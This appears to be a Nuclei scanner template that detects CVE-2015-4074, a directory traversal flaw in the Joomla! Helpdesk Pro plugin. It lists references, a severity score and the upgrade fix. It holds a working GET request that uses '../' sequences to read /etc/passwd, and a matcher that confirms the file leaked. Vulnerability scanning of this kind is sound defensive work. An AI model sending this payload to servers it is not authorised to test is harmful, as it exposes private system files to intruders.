id: CVE-2015-4074

info:
  name: Joomla! Helpdesk Pro plugin <1.4.0 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: Directory traversal vulnerability in the Helpdesk Pro plugin before 1.4.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the filename parameter in a ticket.download_attachment task.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server.
  remediation: |
    Upgrade to Joomla! Helpdesk Pro plugin version 1.4.0 or later to fix the local file inclusion vulnerability.
  reference:
    - https://packetstormsecurity.com/files/132766/Joomla-Helpdesk-Pro-XSS-File-Disclosure-SQL-Injection.html
    - https://www.exploit-db.com/exploits/37666/
    - https://nvd.nist.gov/vuln/detail/CVE-2015-4074
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4074
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2015-4074
    cwe-id: CWE-22
    epss-score: 0.8582
    epss-percentile: 0.99233
    cpe: cpe:2.3:a:helpdesk_pro_project:helpdesk_pro:*:*:*:*:*:joomla\!:*:*
  metadata:
    max-request: 1
    vendor: helpdesk_pro_project
    product: helpdesk_pro
    framework: joomla\!
  tags: cve2015,cve,lfi,packetstorm,edb,joomla,plugin,helpdesk_pro_project,joomla\!,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/?option=com_helpdeskpro&task=ticket.download_attachment&filename=/../../../../../../../../../../../../etc/passwd&original_filename=AnyFileName.exe"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4a0a004730450221009d45a6209c772d7b2aa0030fb5e0c019d96a79a60fa69dcbf91ad0cda87a17a102203e0bf3b029636903a4ffb0f2244398fa7fdbaefa69204112dd7844c861c6ad37:922c64590222798bb761d5b6d8e72950